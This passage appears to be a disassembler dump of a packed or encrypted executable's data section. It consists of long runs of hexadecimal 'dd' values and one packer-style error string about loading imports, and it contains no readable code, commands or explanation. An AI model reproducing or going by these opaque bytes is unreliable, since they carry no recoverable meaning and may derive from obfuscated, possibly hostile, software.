3495E2BBh, 0B9CCCA0Dh dd 3F3BF36h, 0B0334A87h, 0D1054448h, 0EE68B6D5h, 5E18A216h dd 0D9DF1866h, 78B4C3Dh, 0A91CED4h, 82Bh, 30A9E800h, 0A795516Ah dd 2C686E9Dh, 5B6196D9h, 575B81C0h, 404E8D34h, 7341BA25h dd 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h, 8952F278h dd 4C281E2h, 81000000h, 4EAh, 24148700h, 242C895Ch, 81E38953h dd 4C3h, 4EB8300h, 5C241C87h, 68243C89h, 10C2h, 53243489h dd 0D40D8ABBh, 166EBF55h, 0EF815BBDh, 5609692Bh, 0C781DF29h dd 5609692Bh, 348B545Bh, 4C48124h, 57000000h, 81243481h dd 8F6DD876h, 0B9510846h, 8, 3181F101h, 6DD87681h, 24348B59h dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 815F2434h dd 4C4h, 6A01E900h, 347DFFF9h, 7FB8C3DDh, 305E915h, 3E0FFC5h dd 1D0B0F4Ch, 5E7D657Fh, 5118692Eh, 8F3781C2h, 0A45C0903h dd 28662C22h, 4764778Dh, 0A11C2DF6h, 3568BA0Fh, 1D283D49h dd 904FFFA5h, 0E6599E0h, 6D6C4DE7h, 5A615ACEh, 2A26513Ah dd 40CCD2Dh, 270F9773h, 0C925B4E2h, 4030587h, 0FC68F8F0h dd 0E8187E39h, 7, 9378A99Fh, 0FF88B9Bh, 0F5ADEBFh, 0C281F7BFh dd 744Bh, 0E9BFCA8Bh, 0E800001Ch, 0Eh, 0D7ED8257h, 5EB11814h dd 0B2A8B1Dh, 0B70F47F8h, 28B5ECBh, 0E25AE881h, 0CE8B75ACh dd 2522C081h, 0E8811A6Fh, 7097E8B7h, 11E8h, 231A5D00h dd 10865A51h, 183E06EEh, 408C90ABh, 0C3802806h, 8F505E20h dd 73BB6602h, 4EA83DFh, 2BD68166h, 1EF835Bh, 1A850Fh, 0D3810000h dd 6025BE76h, 26E9h, 0DF109D00h, 0E29F95ACh, 0EEE5FC40h dd 0F468AA81h, 0ABF18166h, 0FF94E9B3h, 0CF4BFFFFh, 87D89017h dd 5A7E10F6h, 0E90C6F1Dh, 127h, 73765B50h, 154EEFACh, 0 aAnErrorHasOcur db 'An Error has ocurred while loading imports',0 db 37h dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h dd 777E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 2000000h, 48000000h, 0F4C706E1h, 0CF63921Dh, 8B8F96A6h dd 1137F778h, 35B11C13h, 41D00D63h, 722B6166h, 0A9F29E35h dd 88321177h, 756F90EFh, 0BFBF1084h, 14D6A79Ch, 0D069C699h dd 5C37A8E5h, 56321084h, 0A9614571h, 88321177h, 756F90EFh dd 0BFBF1084h, 14D6BA8Fh, 0D069C699h, 0F9B1D5EDh, 27DB021Eh dd 1B61A66h, 5321566h, 0ACC086E3h, 0AFE2EA63h, 0F9C0D6E3h dd 4EE2EA63h, 0A6385CE3h, 705A4363h, 0EEAEBDDEh, 6A24B4D3h dd 25B79863h, 0DD37F01Ch, 3CB79CB6h, 537F76Dh, 0AD2A5DE3h dd 0A7BF4563h, 14DB024Fh, 1A7EA36h, 8337F77Ch, 0C03580E3h dd 11321563h, 0C1B7D366h, 137F76Ch, 505B7C0Eh, 3C87EAE8h dd 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F31DD8E3h, 0C1B7D363h dd 737F76Ch, 45594B0Eh, 3C87EAFAh, 537F740h, 0A60BF8E3h dd 0ABE2EA63h, 0F82575E3h, 0C1B7D363h, 1037F76Ch, 405A3C0Eh dd 3C87EA88h, 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F82571E3h dd 0C1B7D363h, 137F76Ch, 420AD70Eh, 3C87EABCh, 537F740h dd 0A60BF8E3h, 0ABE2EA63h, 0F8257DE3h, 318F9663h, 4437F766h dd 22779069h, 94F41566h, 8DD01F2Fh, 3AB47D23h, 97CDEF46h dd 14D0334Bh, 0B1DF90EBh, 94CD1084h, 355E90EFh, 94F4108Fh dd 8DD01F2Fh, 94F17D2Ah, 97CDF540h, 14D0334Bh, 0B1DF90EBh dd 94CD1084h, 354290EFh, 51DB108Fh, 4E321566h, 0A6385CE3h dd 2F5A4763h, 0EE8E5F82h, 6A3B04D3h, 0A9B79863h, 0DD37F75Fh dd 7DB79CB6h, 4E37FC71h, 0A6385CE3h, 6A5A4763h, 0EE94592Ch dd 6A3B04D3h, 0A9B79863h, 0DD37F75Fh, 61B79CB6h, 4E37FC71h dd 0A6385CE3h, 0C85A4763h, 0EECF57D2h, 6A1438D3h, 0A9B79863h dd 0DD37F75Fh, 0A4B79CB6h, 4E37F761h, 0A6385CE3h, 815A6263h dd 0EEC182CEh, 6A2718D3h, 0A9B79863h, 0DD37F75Fh, 94B79CB6h dd 4E37F74Ah, 0A6385CE3h, 355A4763h, 0EEB8C857h, 6A1438D3h dd 0A9B79863h, 0DD37F75Fh, 0F4B79CB6h, 4E37F76Eh, 0A6385CE3h dd 1B5A4363h, 0EEE60A0Bh, 6A24B4D3h, 25B79863h, 0DD37F01Ch dd 94B79CB6h, 4E37F763h, 0A6385CE3h, 585A5263h, 0EEB3C976h dd 6A1438D3h, 0A9B79863h, 0DD37F75Fh, 74B79CB6h, 4E37F763h dd 0A6385CE3h, 0C05A5263h, 0EEB81AD3h, 6A1438D3h, 0A9B79863h dd 0DD37F75Fh, 81B79CB6h, 0B37FC71h, 0A627CCDBh, 0A63D1563h dd 11321337h, 827B90A0h, 2C7E1084h, 0FBE8098Fh, 371FA099h dd 0DBF1084h, 41D02C8Bh, 0A7BBC599h, 14DB021Ah, 827B90A0h dd 2C7E1084h, 0FF46CBA8h, 371FA099h, 0DBF1084h, 41D02C8Bh dd 0A7BBC599h, 14DB02E6h, 827B90A0h, 2C7E1084h, 95B39759h dd 371FA099h, 0DBF1084h, 41D02C8Bh, 0A7BBC599h, 14DB02E2h dd 827B90A0h, 2C7E1084h, 911D557Eh, 371FA099h, 0DBF1084h dd 41D02C8Bh, 0A7BBC599h, 14DB02E2h, 827B90A0h, 2C741084h dd 98EC1372h, 371FA099h, 0DBF1084h, 41D02C8Bh, 0A7BBC599h dd 14DB02EAh, 827B90A0h, 2C751084h, 0A3EE051Ch, 371FA099h dd 0DBF1084h, 41D02C8Bh, 0A7BBC599h, 14DB02F2h, 827B90A0h dd 2C751084h, 0CDB59BCAh, 371FA099h, 0DBF1084h, 41D02C8Bh dd 0A7BBC599h, 14DB02FEh, 827B90A0h, 2C751084h, 0F6A8B2B4h dd 371FA099h, 0DBF1084h, 41D02C8Bh, 0A7BBC599h, 14DB02FAh dd 827B90A0h, 2C751084h, 98F32C62h, 371FA099h, 0DBF1084h dd 41D02C8Bh, 0A7BBC599h, 14DB02C6h, 0AAFFA8E5h, 31321084h dd 6BB7D346h, 5637F76Ch, 0FA1F720Eh, 6987EA86h, 0AF37F740h dd 0F30BF8E3h, 1E2EA63h, 0AD25B1E3h, 6BB7D363h, 5637F76Ch dd 0A181A40Eh, 6987EAE8h, 0AF37F740h, 0F30BF8E3h, 1E2EA63h dd 0AD25BDE3h, 6BB7D363h, 5237F76Ch, 0FE78B20Eh, 6987EAA6h dd 0AF37F740h, 0F30BF8E3h, 1E2EA63h, 0AD25B9E3h, 6BB7D363h dd 5D37F76Ch, 0EE5EFE0Eh, 4987EA9Dh, 0AF37F773h, 0F30BF8E3h dd 1E2EA63h, 0AD2A55E3h, 6BB7D363h, 5537F76Ch, 0FBBC400Eh dd 6987EADDh, 0AF37F740h, 0F30BF8E3h, 1E2EA63h, 0AD25A5E3h dd 6BB7D363h, 5237F76Ch, 65CE90Eh, 6987EADAh, 0AF37F740h dd 0F30BF8E3h, 1E2EA63h, 0AD25A1E3h, 6BB7D363h, 4237F76Ch dd 980CBF0Eh, 6987EAA0h, 0AF37F740h, 0F30BF8E3h, 1E2EA63h dd 0AD25ADE3h, 238F9663h, 1137F74Bh, 88D29169h, 0C1F41566h dd 27D01F2Fh, 0DF037D20h, 3DCDEFF0h, 41D0334Bh, 1BDF90EBh dd 0C1CD1084h, 902690EFh, 0C1F4108Fh, 27D01F2Fh, 2BE47D20h dd 3DCDE9C1h, 41D0334Bh, 1BDF90EBh, 0C1CD1084h, 901690EFh dd 0C1F4108Fh, 27D01F2Fh, 0B5327D20h, 3DCD879Ah, 41D0334Bh dd 1BDF90EBh, 0C1CD1084h, 901A90EFh, 0C1F4108Fh, 27D01F2Fh dd 5E587D20h, 3DCDE3B2h, 41D0334Bh, 1BDF90EBh, 0C1CD1084h dd 901E90EFh, 0C1F4108Fh, 27D01F2Fh, 41D57D20h, 3DCD81ABh dd 41D0334Bh, 1BDF90EBh, 0C1CD1084h, 902A90EFh, 0C1F4108Fh dd 27D01F2Fh, 65097D20h, 3DCDA444h, 41D0334Bh, 1BDF90EBh dd 0C1CD1084h, 902E90EFh, 0C1F4108Fh, 27D01F2Fh, 0FBDF7D20h dd 3DCDCA1Fh, 41D0334Bh, 1BDF90EBh, 0C1CD1084h, 901290EFh dd 0F9B1108Fh, 27D037ABh, 0D7126066h, 6A385CE3h, 1A5A4663h dd 0DDFCAB86h, 0F31438D3h, 65B79863h, 0BB37F75Fh, 9EB79CB6h dd 0D737FC71h, 6A385CE3h, 0C35A5263h, 0DDF5A438h, 0F31438D3h dd 65B79863h, 0BB37F75Fh, 0E2B79CB6h, 9237FC71h, 6A10D8DBh dd 64471563h, 287B90A0h, 79751084h, 6E506B63h, 621FA099h dd 0A7BF1084h, 14D02C8Bh, 0DBBC599h, 41DB02A2h, 287B90A0h dd 79711084h, 1A481C90h, 621FA099h, 0A7BF1084h, 14D02C8Bh dd 0DBBC599h, 41DB02AEh, 287B90A0h, 79711084h, 74138246h dd 621FA099h, 0A7BF1084h, 14D02C8Bh, 0DBBC599h, 41DB02AAh dd 0FFA8E5h, 64321084h, 0C1B7D326h, 737F76Ch, 229A160Eh dd 3C87EAEDh, 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F825C1E3h dd 0C1B7D363h, 737F76Ch, 7904C00Eh, 3C87EA83h, 537F740h dd 0A60BF8E3h, 0ABE2EA63h, 0F825C5E3h, 0C1B7D363h, 737F76Ch dd 8800F40Eh, 3C87EA8Ch, 537F740h, 0A60BF8E3h, 0ABE2EA63h dd 0F825CDE3h, 0C1B7D363h, 737F76Ch, 0D39E220Eh, 3C87EAE2h dd 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F825C9E3h, 0C1B7D363h dd 0B37F76Ch, 17A2C10Eh, 3C87EAF1h, 537F740h, 0A60BF8E3h dd 0ABE2EA63h, 0F825F5E3h, 0C1B7D363h, 0B37F76Ch, 4C3C170Eh dd 3C87EA9Fh, 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F825F1E3h dd 0C1B7D363h, 937F76Ch, 154B5C0Eh, 3C87EAAEh, 537F740h dd 0A60BF8E3h, 0ABE2EA63h, 0F825F9E3h, 0C1B7D363h, 937F76Ch dd 0D57F9C0Eh, 3C87EABAh, 537F740h, 0A60BF8E3h, 0ABE2EA63h dd 0F825FDE3h, 0C1B7D363h, 1137F76Ch, 391F220Eh, 3C87EAFAh dd 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F825E5E3h, 0C1B7D363h dd 737F76Ch, 0F7C23F0Eh, 3C87EAB4h, 537F740h, 0A60BF8E3h dd 0ABE2EA63h, 0F825E1E3h, 0C1B7D363h, 1637F76Ch, 6086FF0Eh dd 3C87EA9Bh, 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F335A0E3h dd 0C1B7D363h, 337F76Ch, 0BA6B8C0Eh, 3C87EA84h, 537F740h dd 0A60BF8E3h, 0ABE2EA63h, 0F825EDE3h, 0C1B7D363h, 337F76Ch dd 0DF52D70Eh, 3C87EAD7h, 537F740h, 0A60BF8E3h, 0ABE2EA63h dd 0F825E9E3h, 0C1B7D363h, 337F76Ch, 84CC010Eh, 3C87EAB9h dd 537F740h, 0A60BF8E3h dd 0ABE2EA63h, 0F82A15E3h, 0C1B7D363h, 1B37F76Ch, 72C07D0Eh dd 3C87EAF8h, 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F82A11E3h dd 0C1B7D363h, 0B37F76Ch, 0DE492A0Eh, 3C87EAA1h, 537F740h dd 0A60BF8E3h, 0ABE2EA63h, 0F82A25E3h, 0C1B7D363h, 337F76Ch dd 795C590Eh, 3C87EA9Ch, 537F740h, 0A60BF8E3h, 0ABE2EA63h dd 0F82A21E3h, 0C1B7D363h, 337F76Ch, 2416D80Eh, 3C87EAA5h dd 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F82A2DE3h, 0C1B7D363h dd 1B37F76Ch, 9952D90Eh, 3C87EAB2h, 537F740h, 0A60BF8E3h dd 0ABE2EA63h, 0F82A1DE3h, 0C1B7D363h, 1B37F76Ch, 0CB665B0Eh dd 3C87EAF8h, 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F82A19E3h dd 0C1B7D363h, 1B37F76Ch, 311A5D0Eh, 3C87EAB7h, 537F740h dd 0A60BF8E3h, 0ABE2EA63h, 0F82A05E3h, 0E0367F63h, 44320566h dd 2222150Eh, 0EE327F66h, 6A3938F3h, 99B79C63h, 0AF37F778h dd 0F9E3FBE3h, 0E2E2EA63h, 54327D62h, 225A1566h, 7B321546h dd 0A5A7EA66h, 0CD37F76Dh, 0C039A8E3h, 58B79C63h, 0E237F767h dd 54327D26h, 225A1566h, 7B321466h, 0A5A7EA66h, 0CD37F76Dh dd 0C03AC4E3h, 10879E63h, 337F763h, 0A62C48FBh, 17879C63h dd 9837F768h, 6A3F3CFBh, 19AF9E63h, 0A937F778h, 11CB966Dh dd 82ED9169h, 15621566h, 0ABF22606h, 0F3339CE3h, 880EAB63h dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h dd 9FBB0D18h, 14D00C6Fh, 0D3DEAE3h, 4432156Ch, 22231B8Eh dd 11A3FC66h, 3631566h, 40E07EB1h, 63380EFh, 15581084h dd 8822150Eh, 44584766h, 291F8099h, 94BB1084h, 8DD00997h dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 998F9EB1h, 0A137F778h dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 6A339CE3h dd 0CDA79E63h, 1B37F767h, 0F32B1CF3h, 82B61A63h, 1E321566h dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 27D0371Bh dd 11321566h, 0A97790A1h, 44321084h, 9FB11566h, 14DB021Eh dd 80B61A66h, 0C9321566h, 0CA51BEFBh, 0EEE1EA63h, 6A3AECE3h dd 0BD8F9663h, 4637F76Eh, 11509769h, 0DF51566h, 41D01D9Fh dd 22321567h, 41879806h, 537FC7Eh, 0AD06AEDBh, 0A9CC3E63h dd 0CC8F9EB1h, 0B37F778h, 8401EAAFh, 0E30013ECh, 96369E20h dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 816B905Fh dd 0C03D1084h, 22321571h, 0D93A8E5h, 87321084h, 44321FE3h dd 0B7B7D266h, 1037F761h, 0E9321566h, 4CE902DFh, 0CEC0AF0Ch dd 989F6B91h, 6A3C20D3h, 0B874D263h, 22321566h, 0FFDCFB5Bh dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h dd 44321560h, 26F49666h, 1F07A0EFh, 71DB1084h, 0CF32156Eh dd 0B7B726BEh, 0D037F761h, 4A1916AEh, 7722D5A7h, 0B7AF9CA7h dd 2C37F761h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 6A3C20D3h dd 19AF9E63h, 0A937F778h, 71E29E6Dh, 0D19D7EDh, 41D018EFh dd 2130F5A7h, 0F339B8E3h, 8B9F8363h, 60769CA7h, 5EDB747Ah dd 40321566h, 3FB2634h, 0A62EE4F3h, 2D302E63h, 11322DE2h dd 8CF09666h, 4DBF2E27h, 2D37F77Fh, 0EECDFDE3h, 0BD879899h dd 0C937FC71h, 0C01F98DBh, 0D1B6B963h, 88349169h, 0AD981566h dd 0DDCDEA97h, 113215DEh, 0CABF9866h, 0BB37F72Ah, 0ABBF9C87h dd 4B37F767h, 15B9433Fh, 41D00B3Bh, 0A7B91EEDh, 14D014EFh dd 0D31F5B7h, 41D00C13h, 44A4E355h, 13D2D4CBh, 839F9065h dd 0E9A41084h, 0A16CD465h, 0F32AA4DBh, 0C3D1463h, 4432155Fh dd 41F985Dh, 953D1084h, 8832154Bh, 513F985Dh, 0A63D1084h dd 11321547h, 99BB985Dh, 0C03D1084h, 22321573h, 3DA188EBh dd 5BCD108Fh, 0C1BBEDEDh, 27D0254Fh, 1134A18Fh, 1BAF9866h dd 0BB37FC4Ah, 938F96B5h, 1137F77Eh, 882F9169h, 0C1091566h dd 27D0053Fh, 113E9169h, 0D091566h, 41D00823h, 22379069h dd 0A8DB1566h, 0B3CDEA99h, 0A61DD8E3h, 3AB71A63h, 92321566h dd 6A32ACDBh, 0C13D1563h, 2232156Dh, 105090EBh, 1DDB108Fh dd 7FCDEA99h, 0C01DD8E3h, 98B61A63h, 0BCDEA99h, 0AD2524DBh dd 0A73D1463h, 11321571h, 9FA2905Dh, 0C13D108Fh, 2232156Dh dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 0FB8F9699h, 1137F773h dd 8B559169h, 0C1091566h, 27DB021Ah, 94B91213h, 8DD005E7h dd 0C0B72E21h, 5737FC71h, 6CB79E61h, 0CF37F766h, 53B2905Dh dd 2547108Fh, 306B90EDh, 0B3751084h, 0AD259DE3h, 0A9356063h dd 0F332B0E3h, 0D095263h, 41DB02EAh, 0A7B91213h, 14D034DBh dd 18B72E21h, 3137FC71h, 0FBB79E61h, 5637F74Dh, 9FA6905Dh dd 4347108Fh, 354390EDh, 2A751084h, 61258DE3h, 0CF356063h dd 0C02958E3h, 94095263h, 8DDB02FAh, 0C1B91213h, 27D0021Fh dd 0B1B72E21h, 0FD37FC71h, 0A1B79E61h, 6537F769h, 69A905Dh dd 8F47108Fh, 5DF790EDh, 19751084h, 0F825B1E3h, 0B226063h dd 0A610D8DBh, 25471563h, 30B390EDh, 0B751084h, 0A637B0DBh dd 2D461563h, 902905Dh, 8F47108Fh, 4DFB90EDh, 0A1751084h dd 0F31F14DBh, 0FA461563h, 407BA8E5h, 56321084h, 5B72E0Fh dd 0FD37FC7Eh, 0A5B79E61h, 6537F74Dh, 916905Dh, 8F47108Fh dd 5B8390EDh, 19751084h, 0F82A0DE3h, 3356063h, 0A6298CE3h dd 0A7095263h, 14DB0D4Eh, 0DB91213h, 41D00B1Bh, 0EB72E21h dd 6437FC7Eh, 65B79E61h, 337F74Dh, 3A2E905Dh, 1647108Fh dd 8D6F90EDh, 7F751084h, 0CB2A35E3h, 9A356063h, 6A26B8E3h dd 0F9B15263h, 27D0112Fh, 1BB61A66h, 0B3321564h, 0AD25B9E3h dd 0A9356063h, 0F338E4E3h, 0D095263h, 41DB0D26h, 0A7B91213h dd 14D00023h, 38B72E21h, 3137FC71h, 0D3B79E61h, 5637F76Eh dd 9F86905Dh, 4347108Fh, 399F90EDh, 2A751084h, 6125ADE3h dd 0CF356063h, 0C016D0E3h, 94095263h, 8DDB02DAh, 0F9B10513h dd 27D037ABh, 9A356066h, 6A3E68E3h, 0C1095263h, 27DB02A6h dd 94B91213h, 8DD0250Fh, 80B72E21h, 5737FC71h, 0DC8F9676h dd 8837F744h, 0C1B91213h, 27D005DBh, 0D9B72E21h, 0FD37FC71h dd 0A1B79E61h, 6537F770h, 6FE905Dh, 8F47108Fh, 594790EDh dd 19751084h, 0F825C1E3h, 0B226063h, 0A610D8DBh, 25471563h dd 3DBF90EDh, 0B3751084h, 0AD25C5E3h, 0A1226063h, 0F310D8DBh dd 8F471563h, 4EEB90EDh, 19751084h, 0F825CDE3h, 3356063h dd 0A61ED8E3h, 0A7095263h, 14DB02BAh, 0DB91213h, 41D01CE3h dd 0C2B72E21h, 6437FC71h, 81B79E61h, 337F77Ah, 35D6905Dh dd 1647108Fh, 8BC790EDh, 7F751084h, 0CB25FDE3h, 9A356063h dd 6A2AECE3h, 0C1095263h, 27DB028Ah, 94B91213h, 8DD0271Fh dd 0B4B72E21h, 5737FC71h, 98B79E61h, 0CF37F74Fh, 53C6905Dh dd 2547108Fh, 95F90EDh, 0B3751084h, 0A635A0E3h, 0A9356063h dd 0F33388E3h, 0D095263h, 41DB029Eh, 0A7B91213h, 14D0251Bh dd 0BCB72E21h, 3137FC7Eh, 1E8F967Fh, 1137FC7Eh, 35B11C13h dd 41D00DD7h, 0A9356166h, 0F32878E3h, 0D095263h, 41DB0D5Eh dd 9FB10C13h, 14DB0D5Ah, 0B3B6066h, 0A62AA4DBh, 25461563h dd 156790EDh, 0B3751084h, 0AD25E9E3h, 0A9356063h, 0F33AC8E3h dd 0D095263h, 41DB0D66h dd 0A7B91213h, 14D02667h, 8CB72E21h, 3137FC7Eh, 1BB79E61h dd 5637F761h, 903A905Dh, 4347108Fh, 231390EDh, 2A751084h dd 612A19E3h, 0CF356063h, 0C0250CE3h, 94095263h, 8DDB0D76h dd 0C1B91213h, 27D01F97h, 1ECD1E21h, 883210E2h, 0BFD8FC66h dd 0A709EA99h, 14D039E3h, 88399069h, 0C1BF1566h, 27DAB6B5h dd 0EEC9C68Fh, 6DB72E99h, 4B37F76Eh, 22320DE3h, 208F9666h dd 8937FC71h, 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh dd 28B72E99h, 2D37FC71h, 113219E2h, 0F8B72E66h, 4B37FC71h dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h dd 11321523h, 9F52905Dh, 0C13D108Fh, 2232156Dh, 73D690EBh dd 0E5DB153Eh, 7FCDEA9Dh, 0CB2571E3h, 1AB71A63h, 5321566h dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8DDB020Eh, 44399069h dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 0F3397CD3h dd 29879C63h, 0C437F77Dh, 0A73DFC58h, 11321540h, 8B336BEDh dd 0C5EC9E98h, 227215A5h, 788F2E66h, 8737F76Dh, 44321DE4h dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h, 27D01EDBh dd 102390A1h, 88321084h, 0CD521566h, 0C029B4D3h, 65AF9863h dd 7737FC54h, 66B01AB5h, 0AF321566h, 0F68770FBh, 87E1EA63h dd 0BBCDCBE5h, 83879E99h, 9837F77Dh, 6A3304D3h, 17AF9863h dd 0DD37FD05h, 78B79EB5h, 137F76Dh, 0A629B4E3h, 0BFBF7463h dd 14DB3BBBh, 15BFC699h, 41DB24A3h, 0A13DC699h, 1132156Ah dd 939390E5h, 0AD371084h, 0DDCDEAB8h, 20DC88EBh, 5BCD108Fh dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h, 41D5A003h dd 0A13DC699h, 1132156Dh, 9393A0EDh, 0C4DB1084h, 0A9321561h dd 0F329B4EBh, 29879C63h, 6F37F77Dh, 9EBE2A8h, 0F896E697h dd 77CDEAF0h, 279988EBh, 0F1CD108Eh, 9419D2EDh, 8DD01EDBh dd 4D9790EFh, 0A7B91084h, 14D01EDBh, 5BF4531h, 41DA7146h dd 0A7B9C499h, 14D01DB7h, 0DB94236h, 41D01EDBh, 6DBF9836h dd 0EE37FD02h, 3E29EB7h, 95BF3EAEh, 0A137F76Eh, 0F32CD4DBh dd 0C3D1563h, 4432154Dh, 3C3790EDh, 94191084h, 8DD00BA7h dd 0C23DD45Dh, 22321571h, 0BA790EDh, 0D311084h, 41D00BA7h dd 121B90EFh, 52DB1084h, 0D9321566h, 497AD4EDh, 22321A99h dd 14B79C26h, 8937F778h, 0A62C98E3h, 0E3B7D263h, 1137F778h dd 0E2321566h, 54327D26h, 48631566h, 3CA7EA66h, 7737F76Dh dd 0A6142CF3h, 0B7B79C63h, 9837F77Ch, 6A023CE3h, 0F1CD4C63h dd 27D0254Fh, 19E3A099h, 77651084h, 0A639A8D3h, 0C3B79863h dd 0EE37FD0Eh, 49BF14B6h, 0CF37F778h, 0C0023CDBh, 0C0879E63h dd 7B37F76Eh, 71879EC2h, 8F37F768h, 11CE53A1h, 49321566h dd 533710A6h, 21581DBDh, 0F31880E3h, 0A1BF9E63h, 0CD37F756h dd 64F5B86Eh, 1132159Ah, 0BD879C66h, 0C737F768h, 0A73DEA9Eh dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h, 113213A1h dd 4EB11566h, 71879C62h, 0CB37F768h, 0EECDE380h, 8B31D5A7h dd 0A61880E3h, 0B38F9663h, 1037F749h, 88AF9169h, 7AB31566h dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h, 22321566h dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 3A83A8E5h, 1E331084h dd 88322BE2h, 4532AD66h, 9FB11566h, 14DB021Eh, 80B61A66h dd 0C9321566h, 0CA5E37FBh, 91E1EA63h, 0C3D8559h, 4432156Eh dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h, 88A2A566h dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h dd 61256DDBh, 0C03D1563h, 2232156Eh, 7AC088EBh, 5BCD108Eh dd 0CF3652EEh, 0C0023CE3h, 92F53E63h, 2599118Eh, 44CE53A1h dd 0CB321566h, 0EECDEA77h, 8607A0EFh, 2C601084h, 22329566h dd 0A4CD150Ch, 8DD00997h, 41B78099h, 0A9681084h, 0F32C48EBh dd 8833D263h, 0C7321566h, 0AFBB11A7h, 14D00B3Bh, 77C7058Fh dd 4296FC99h, 0A9521566h, 0F32C48EBh, 13B9E63h, 0AD2561EBh dd 6C0A9463h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h dd 113205E3h, 0BC29E66h, 0C1B913A0h, 27D01C77h, 1133138Fh dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh, 0C3D385Ah dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 0C9879866h dd 0A937F773h, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 27D000EBh, 222390EDh dd 48B71084h, 44289069h, 0A7F41566h, 14D01F2Fh, 2FE07D21h dd 0F1CDC1FCh, 27D003C7h, 6B5390EBh, 58CD1083h, 0C1E2EA34h dd 1AB71AA6h, 9A321566h, 6A24ECE3h, 4BF29063h, 22320FE3h dd 58B7D366h, 0C437F76Ch, 9E2EFC0Eh, 8387EABFh, 9C37F770h dd 6D4874E3h, 16E2EA63h, 0E2B7C599h, 11379069h, 0A9DB1566h dd 0CD321566h, 0CB2561E3h, 9C644563h, 6DA831E3h, 4FE2EA63h dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh, 0A952D607h dd 0F82561EBh, 49B94563h, 0CF0E5565h, 22329DF6h, 0F8A79C66h dd 8D37F766h, 4432159Eh, 0AB3E45EDh, 0F318E4F3h, 0CCB94D63h dd 85193142h, 8C3905Dh, 933D1084h, 88321576h, 44DB905Dh dd 0A13D1084h, 11321562h, 8836D707h, 6036D207h, 22321566h dd 151651A1h, 88321566h, 443210DEh, 60BF9866h, 0EE37F72Ah dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah, 88321524h dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h, 0C03DFE5Ah dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h, 0EAC99667h dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h, 0A89ED555h dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h, 113230E2h dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h, 0C1F5D638h dd 27DB0D22h, 11321560h, 6BB20BECh, 0C4C99596h, 0DDD19069h dd 9A7CEA99h, 6A397CE3h, 55A79E63h, 0A937F767h, 17F196B8h dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh dd 3993A0EFh, 4A6D1084h, 4CB14B3Fh, 0BE52FC62h, 0A7F5EA99h dd 14DB0D22h, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h, 8832EA87h dd 0CFEB3E66h, 0C0397CE3h, 